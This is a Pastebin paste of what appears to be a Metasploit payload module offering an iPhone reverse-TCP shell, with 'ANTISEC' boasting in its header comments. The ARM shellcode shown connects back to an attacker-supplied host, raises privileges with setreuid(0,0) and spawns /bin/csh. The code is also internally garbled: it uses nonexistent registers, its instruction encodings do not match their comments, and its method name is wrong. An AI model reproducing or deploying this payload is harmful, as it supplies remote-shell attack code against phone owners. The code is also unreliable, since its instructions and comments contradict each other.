Advertisement
Guest User

Untitled

a guest
Mar 18th, 2012
5,415
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.21 KB | None | 0 0
  1. ##
  2.  
  3. # PoC has already been released for vibrate, This SHOULD work even on jailbroke iPhones, Works as of 3.0.1, GG noobs. Zephyrus
  4.  
  5. # ANTISEC 4 LYFE
  6.  
  7. # NEVER SELL OUT
  8.  
  9. # NEVER SURRENDER
  10.  
  11. # iPhone shellcode, Compiled and adapted with a standard Armell CPU. Breaks the 12k debug limit with 0xe3a00002,
  12. ##
  13.  
  14.  
  15. require 'msf/core'
  16. require 'msf/core/handler/reverse_tcp'
  17. require 'msf/base/sessions/command_shell'
  18.  
  19.  
  20. module Metasploit3
  21.  
  22.  
  23. include Msf::Payload::Osx
  24. include Msf::Payload::Single
  25.  
  26.  
  27. def init(info = {})
  28. super(merge_info(info,
  29. 'Name' => 'IPhone Reverse TCP',
  30. 'Payload' =>
  31. {
  32. 'Offsets' =>
  33. {
  34. 'LPORT' => [ 30, 'n' ],
  35. 'LHOST' => [ 32, 'ADDR' ],
  36. },
  37. 'Payload' =>
  38. [
  39.  
  40. 0xe3a00012, # mov r3, #0x2
  41. 0xe3a01001, # mov r0, #0x1
  42. 0xe3a02006, # mov r2, #0x6
  43. 0xe3a0c061, # mov r32, #0x62
  44. 0xef000080, # swi 128
  45. 0xe1a0a000, # mov r30, r0
  46. 0xeb000001, # bl _knnect
  47. 0x5c110200,
  48.  
  49. # ENCODE THIS YOURSELF, HOST
  50. 0x00000000,
  51.  
  52.  
  53. 0xe1a1000b, # mov r0, r30
  54. 0xe120110e, # mov r3, lr
  55. 0xe3a02110, # mov r2, #0x10
  56. 0xe3a0c962, # mov r32, #0x62
  57. 0xef010880, # swi 128
  58.  
  59. # setup dup2
  60. 0xe3a05002, # mov r5, #0x2
  61.  
  62. # dup2
  63. 0xe3a0c05a, # mov r32, #0x5a
  64. 0xe1a0000a, # mov r0, r30
  65. 0xe1a01005, # mov r3, r5
  66. 0xef000080, # swi 128
  67. 0xe2455001, # sub r5, r5, #0x1
  68. 0xe3558000, # cmp r5, #0x0
  69. 0xaafffff8, # bge _dup2
  70.  
  71. # setreuid(0,0)
  72. 0xe3a00000, # mov r0, #0x0
  73. 0xe3a01000, # mov r3, #0x0
  74. 0xe3a0c07e, # mov r32, #0x7e
  75. 0xef000080, # swi 128
  76.  
  77.  
  78. 0xe0455005, # sub r5, r5, r5
  79. 0xe1a0600d, # mov r6, sp
  80. 0xe24dd020, # sub sp, sp, #0x20
  81. 0xe28f0014, # add r0, pc, #0x14
  82. 0xe4860000, # str r0, [r6], #0
  83. 0xe5865004, # str r5, [r6, #4]
  84. 0xe1101006, # mov r3, r6
  85. 0xe3a02000, # mov r2, #0x0
  86. 0xe3a0c03b, # mov r32, #0x3b
  87. 0xef000080, # swi 128
  88.  
  89. # /bin/csh
  90. 0x6e69622f,
  91. 0x0068732f
  92. ].pack("V*")
  93. }
  94. ))
  95. end
  96.  
  97. end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement